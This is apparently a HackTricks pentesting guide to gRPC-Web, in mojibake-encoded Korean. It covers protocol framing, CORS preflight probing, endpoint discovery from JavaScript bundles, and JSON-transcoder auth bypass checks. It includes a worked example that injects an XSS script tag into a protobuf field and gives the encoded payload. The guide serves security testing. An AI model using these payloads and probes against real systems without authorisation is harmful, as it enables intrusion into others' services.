Pentesting gRPC-Web

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋น ๋ฅธ ํ”„๋กœํ† ์ฝœ ์š”์•ฝ ๋ฐ ๊ณต๊ฒฉ ํ‘œ๋ฉด

  • Transport: gRPCโ€‘Web๋Š” ํ”„๋ก์‹œ(Envoy/APISIX/grpcwebproxy/etc.)๋ฅผ ํ†ตํ•ด HTTP/1.1 ๋˜๋Š” HTTP/2 ์ƒ์—์„œ ๋ธŒ๋ผ์šฐ์ € ํ˜ธํ™˜ gRPC ๋ณ€ํ˜•์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์˜ค์ง unary ๋ฐ serverโ€‘streaming ํ˜ธ์ถœ๋งŒ ์ง€์›๋ฉ๋‹ˆ๋‹ค.
  • Content-Types you will see:
  • application/grpc-web (๋ฐ”์ด๋„ˆ๋ฆฌ ํ”„๋ ˆ์ด๋ฐ)
  • application/grpc-web-text (HTTP/1.1 ์ŠคํŠธ๋ฆฌ๋ฐ์„ ์œ„ํ•œ base64 ์ธ์ฝ”๋”ฉ ํ”„๋ ˆ์ด๋ฐ)
  • Framing: ๋ชจ๋“  ๋ฉ”์‹œ์ง€๋Š” 5โ€‘byte gRPC ํ—ค๋”(1โ€‘byte ํ”Œ๋ž˜๊ทธ + 4โ€‘byte ๊ธธ์ด)๊ฐ€ ์ ‘๋‘๋ฉ๋‹ˆ๋‹ค. In gRPCโ€‘Web, trailers (grpc-status, grpc-message, โ€ฆ)๋Š” ๋ณธ๋ฌธ ๋‚ด๋ถ€์˜ ํŠน์ˆ˜ ํ”„๋ ˆ์ž„์œผ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค: MSB๊ฐ€ ์„ค์ •๋œ ์ฒซ ๋ฐ”์ดํŠธ(0x80) ๋‹ค์Œ์— ๊ธธ์ด์™€ HTTP/1.1โ€‘์Šคํƒ€์ผ ํ—ค๋” ๋ธ”๋ก์ด ์˜ต๋‹ˆ๋‹ค.
  • Common request headers: x-grpc-web: 1, x-user-agent: grpc-web-javascript/โ€ฆ, grpc-timeout, grpc-encoding. ์‘๋‹ต์€ grpc-status/grpc-message๋ฅผ trailers/body ํ”„๋ ˆ์ž„์„ ํ†ตํ•ด ๋…ธ์ถœํ•˜๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €์˜ ๊ฒฝ์šฐ ์ข…์ข… Access-Control-Expose-Headers๋ฅผ ํ†ตํ•ด์„œ๋„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ๋ณด์•ˆ ๊ด€๋ จ ๋ฏธ๋“ค์›จ์–ด(์ž์ฃผ ์กด์žฌ):
  • Envoy grpc_web filter ๋ฐ gRPCโ€‘JSON transcoder (HTTP<->gRPC ๋ธŒ๋ฆฌ์ง€)
  • Nginx/APISIX gRPCโ€‘Web ํ”Œ๋Ÿฌ๊ทธ์ธ
  • ํ”„๋ก์‹œ์˜ CORS ์ •์ฑ…

์ด๊ฒƒ์ด ๊ณต๊ฒฉ์ž์—๊ฒŒ ์˜๋ฏธํ•˜๋Š” ๋ฐ”:

  • ์š”์ฒญ์„ ์†์œผ๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋ฐ”์ด๋„ˆ๋ฆฌ ๋˜๋Š” base64 ํ…์ŠคํŠธ), ๋˜๋Š” ๋„๊ตฌ๊ฐ€ ์ƒ์„ฑ/์ธ์ฝ”๋”ฉํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ”„๋ก์‹œ์˜ CORS ์„ค์ • ์˜ค๋ฅ˜๋Š” ๊ต์ฐจ ์‚ฌ์ดํŠธ ์ธ์ฆ๋œ gRPCโ€‘Web ํ˜ธ์ถœ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ธฐ์กด CORS ๋ฌธ์ œ์™€ ์œ ์‚ฌ).
  • JSON transcoding ๋ธŒ๋ฆฌ์ง€๋Š” ๋ผ์šฐํŠธ/์ธ์ฆ์ด ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ gRPC ๋ฉ”์„œ๋“œ๋ฅผ ์˜๋„์น˜ ์•Š๊ฒŒ ์ธ์ฆ๋˜์ง€ ์•Š์€ HTTP ์—”๋“œํฌ์ธํŠธ๋กœ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CLI์—์„œ gRPCโ€‘Web ํ…Œ์ŠคํŠธํ•˜๊ธฐ

๊ฐ€์žฅ ์‰ฌ์›€: buf curl (gRPCโ€‘Web์„ ๋„ค์ดํ‹ฐ๋ธŒ๋กœ ์ง€์›)

  • reflection์„ ํ†ตํ•ด ๋ฉ”์„œ๋“œ ๋ชฉ๋ก ํ™•์ธ (ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ):
# list methods (uses reflection)
buf curl --protocol grpcweb https://host.tld --list-methods
  • JSON ์ž…๋ ฅ์œผ๋กœ ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๊ณ , gRPCโ€‘Web ํ”„๋ ˆ์ด๋ฐ๊ณผ headers๋ฅผ ์ž๋™์œผ๋กœ ์ฒ˜๋ฆฌ:
buf curl --protocol grpcweb \
-H 'Origin: https://example.com' \
-d '{"field":"value"}' \
https://host.tld/pkg.svc.v1.Service/Method
  • reflection์ด ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, โ€“schema ์˜ต์…˜์œผ๋กœ schema/descriptor set์„ ์ œ๊ณตํ•˜๊ฑฐ๋‚˜ ๋กœ์ปฌ .proto ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ค์„ธ์š”. ์ž์„ธํ•œ ๋‚ด์šฉ์€ buf help curl์„ ์ฐธ์กฐํ•˜์„ธ์š”.

Raw with curl (์ˆ˜๋™ ํ—ค๋” + ํ”„๋ ˆ์ž„๋œ ๋ฐ”๋””)

๋ฐ”์ด๋„ˆ๋ฆฌ ๋ชจ๋“œ(application/grpc-web)์—์„œ๋Š” ํ”„๋ ˆ์ž„๋œ ํŽ˜์ด๋กœ๋“œ(5โ€‘byte ์ ‘๋‘์‚ฌ + protobuf message)๋ฅผ ์ „์†กํ•˜์„ธ์š”. ํ…์ŠคํŠธ ๋ชจ๋“œ์—์„œ๋Š” ํ”„๋ ˆ์ž„๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ base64โ€‘encodeํ•˜์„ธ์š”.

# Build a protobuf message, then gRPC-frame it (1 flag byte + 4 length + msg)
# Example using protoscope to compose/edit the message and base64 for grpc-web-text
protoscope -s msg.txt | python3 grpc-coder.py --encode --type grpc-web-text | \
tee body.b64

curl -i https://host.tld/pkg.svc.v1.Service/Method \
-H 'Content-Type: application/grpc-web-text' \
-H 'X-Grpc-Web: 1' \
-H 'X-User-Agent: grpc-web-javascript/0.1' \
--data-binary @body.b64

ํŒ: HTTP/1.1 ์ค‘๊ฐ„์ž๊ฐ€ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ŠคํŠธ๋ฆฌ๋ฐ์„ ๋ฐฉํ•ดํ•  ๋•Œ application/grpc-web-text๋กœ base64/text ๋ชจ๋“œ๋ฅผ ๊ฐ•์ œํ•˜์„ธ์š”.

CORS ๋™์ž‘ ํ™•์ธ (ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ + ์‘๋‹ต)

  • ํ”„๋ฆฌํ”Œ๋ผ์ดํŠธ:
curl -i -X OPTIONS https://host.tld/pkg.svc.v1.Service/Method \
-H 'Origin: https://evil.tld' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type,x-grpc-web,x-user-agent,grpc-timeout'
  • ์ทจ์•ฝํ•œ ์„ค์ •์€ ์ข…์ข… ์ž„์˜ Origin์„ ๋ฐ˜์‚ฌํ•˜๊ณ  Access-Control-Allow-Credentials: true๋ฅผ ์ „์†กํ•˜์—ฌ ๊ต์ฐจ ์‚ฌ์ดํŠธ ์ธ์ฆ๋œ ํ˜ธ์ถœ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ Access-Control-Expose-Headers์— grpc-status, grpc-message๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”(๋งŽ์€ ๋ฐฐํฌ์—์„œ ํด๋ผ์ด์–ธํŠธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์œ„ํ•ด ์ด๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค).

CORS๋ฅผ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ ์ผ๋ฐ˜์ ์ธ ๊ธฐ๋ฒ•์€ CORS - Misconfigurations & Bypass๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

gRPCโ€‘Web ํŽ˜์ด๋กœ๋“œ ์กฐ์ž‘

gRPCโ€‘Web๋Š” ๋ธŒ๋ผ์šฐ์ € ํ˜ธํ™˜์„ ์œ„ํ•ด Content-Type: application/grpc-web-text๋กœ base64๋กœ ๋ž˜ํ•‘๋œ gRPC ํ”„๋ ˆ์ž„ ์ŠคํŠธ๋ฆผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ”„๋ ˆ์ž„์„ ๋””์ฝ”๋“œ/์ˆ˜์ •/์ธ์ฝ”๋“œํ•˜์—ฌ ํ•„๋“œ๋ฅผ ๋ณ€์กฐํ•˜๊ฑฐ๋‚˜ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋’ค์ง‘๊ฑฐ๋‚˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์†๋„๋ฅผ ๋†’์ด๋ ค๋ฉด gprc-coder ๋„๊ตฌ(๋ฐ Burp ํ™•์žฅ)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

gGRPC Coder Tool์„ ์‚ฌ์šฉํ•œ ์ˆ˜๋™ ๋ฐฉ๋ฒ•

  1. ํŽ˜์ด๋กœ๋“œ ๋””์ฝ”๋“œ:
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
  1. ๋””์ฝ”๋”ฉ๋œ ํŽ˜์ด๋กœ๋“œ์˜ ๋‚ด์šฉ์„ ํŽธ์ง‘
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
  1. ์ƒˆ๋กœ์šด payload๋ฅผ ์ธ์ฝ”๋”ฉ
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
  1. Burp interceptor์—์„œ ์ถœ๋ ฅ์„ ์‚ฌ์šฉ:
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+

gRPCโ€‘Web Coder Burp Suite Extension ์‚ฌ์šฉ ๋งค๋‰ด์–ผ

๋” ์‰ฌ์šด ๋ฐฉ๋ฒ•์œผ๋กœ gRPCโ€‘Web Pentest Suite์— ํฌํ•จ๋œ gRPCโ€‘Web Coder Burp Suite Extension์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„ค์น˜ ๋ฐ ์‚ฌ์šฉ๋ฒ•์€ ํ•ด๋‹น ์ €์žฅ์†Œ์—์„œ ํ™•์ธํ•˜์„ธ์š”.

gRPCโ€‘Web JavaScript ํŒŒ์ผ ๋ถ„์„

gRPCโ€‘Web๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์›น ์•ฑ์€ ์ตœ์†Œ ํ•˜๋‚˜ ์ด์ƒ์˜ ์ƒ์„ฑ๋œ JS/TS ๋ฒˆ๋“ค์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์—ญ๋ถ„์„ํ•˜์—ฌ ์„œ๋น„์Šค, ๋ฉ”์„œ๋“œ, ๋ฉ”์‹œ์ง€ ํ˜•์‹์„ ์ถ”์ถœํ•˜์„ธ์š”.

  • ๋ฒˆ๋“ค ํŒŒ์‹ฑ์—๋Š” gRPC-Scan์„ ์‚ฌ์šฉํ•ด๋ณด์„ธ์š”.
  • /./์™€ ๊ฐ™์€ ๋ฉ”์„œ๋“œ ๊ฒฝ๋กœ, ๋ฉ”์‹œ์ง€ ํ•„๋“œ ๋ฒˆํ˜ธ/ํƒ€์ž…, ์ธ์ฆ ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ์ปค์Šคํ…€ ์ธํ„ฐ์…‰ํ„ฐ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.
  1. JavaScript gRPCโ€‘Web ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”
  2. grpc-scan.py๋กœ ์Šค์บ”ํ•˜์„ธ์š”:
python3 grpc-scan.py --file main.js
  1. ์ถœ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ๋ถ„์„ํ•˜๊ณ  ์ƒˆ ์—”๋“œํฌ์ธํŠธ์™€ ์ƒˆ ์„œ๋น„์Šค๋ฅผ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค:
Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort

Found Messages:

grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name |     Field Type     | Field Number |
+============+====================+==============+
| Message    | Proto3StringField  | 1            |
+------------+--------------------+--------------+
| Name       | Proto3StringField  | 2            |
+------------+--------------------+--------------+
| Age        | Proto3IntField     | 3            |
+------------+--------------------+--------------+
| IsAdmin    | Proto3BooleanField | 4            |
+------------+--------------------+--------------+
| Weight     | Proto3FloatField   | 5            |
+------------+--------------------+--------------+
| Test       | Proto3StringField  | 6            |
+------------+--------------------+--------------+
| Test2      | Proto3StringField  | 7            |
+------------+--------------------+--------------+
| Test3      | Proto3StringField  | 16           |
+------------+--------------------+--------------+
| Test4      | Proto3StringField  | 20           |
+------------+--------------------+--------------+

grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
|  Field Name  |     Field Type     | Field Number |
+==============+====================+==============+
| Message      | Proto3StringField  | 1            |
+--------------+--------------------+--------------+
| Name         | Proto3StringField  | 2            |
+--------------+--------------------+--------------+
| Age          | Proto3IntField     | 3            |
+--------------+--------------------+--------------+
| IsAdmin      | Proto3BooleanField | 4            |
+--------------+--------------------+--------------+
| Weight       | Proto3FloatField   | 5            |
+--------------+--------------------+--------------+
| Test         | Proto3StringField  | 6            |
+--------------+--------------------+--------------+
| Test2        | Proto3StringField  | 7            |
+--------------+--------------------+--------------+
| Test3        | Proto3StringField  | 16           |
+--------------+--------------------+--------------+
| Test4        | Proto3StringField  | 20           |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField     | 8            |
+--------------+--------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
|   Field Name    |    Field Type     | Field Number |
+=================+===================+==============+
| Message         | Proto3StringField | 1            |
+-----------------+-------------------+--------------+
| MessageCount    | Proto3IntField    | 2            |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField    | 3            |
+-----------------+-------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
|  Field Name  |   Field Type   | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1            |
+--------------+----------------+--------------+

๋ธŒ๋ฆฌ์ง• ๋ฐ JSON ํŠธ๋žœ์Šค์ฝ”๋”ฉ ์ฃผ์˜์‚ฌํ•ญ

๋งŽ์€ ๋ฐฐํฌ์—์„œ๋Š” gRPC ์„œ๋ฒ„ ์•ž์— Envoy(๋˜๋Š” ์œ ์‚ฌํ•œ) ํ”„๋ก์‹œ๋ฅผ ๋‘ก๋‹ˆ๋‹ค:

  • grpc_web filter๋Š” HTTP/1.1 POST๋ฅผ HTTP/2 gRPC๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
  • gRPCโ€‘JSON Transcoder๋Š” .proto ์˜ต์…˜(google.api.http)์ด ์žˆ์„ ๋•Œ gRPC ๋ฉ”์„œ๋“œ๋ฅผ HTTP JSON ์—”๋“œํฌ์ธํŠธ๋กœ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

From a pentesting perspective:

  • transcoder๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์„ ๋•Œ application/json์œผ๋กœ /./์— ์ง์ ‘ HTTP JSON ํ˜ธ์ถœ์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š” (auth/route mismatches are common):
curl -i https://host.tld/pkg.svc.v1.Service/Method \
-H 'Content-Type: application/json' \
-d '{"field":"value"}'
  • ์•Œ ์ˆ˜ ์—†๋Š” methods/parameters๊ฐ€ ๊ฑฐ๋ถ€๋˜๋Š”์ง€ ๋˜๋Š” ํ†ต๊ณผ๋˜๋Š”์ง€ ๊ฒ€ํ† ํ•˜์„ธ์š”. ์ผ๋ถ€ ๊ตฌ์„ฑ์€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ๋กœ๋ฅผ upstream์œผ๋กœ ์ „๋‹ฌํ•˜์—ฌ ๋•Œ๋•Œ๋กœ auth ๋˜๋Š” request validation์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ”„๋ก์‹œ๊ฐ€ ์ถ”๊ฐ€ํ•˜๋Š” x-envoy-original-path ๋ฐ ๊ด€๋ จ headers๋ฅผ ๊ด€์ฐฐํ•˜์„ธ์š”. ์ด๋Ÿฌํ•œ ํ—ค๋”๋ฅผ ์‹ ๋ขฐํ•˜๋Š” upstreams๋Š” ํ”„๋ก์‹œ๊ฐ€ ์ด๋ฅผ sanitizeํ•˜์ง€ ๋ชปํ•˜๋ฉด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ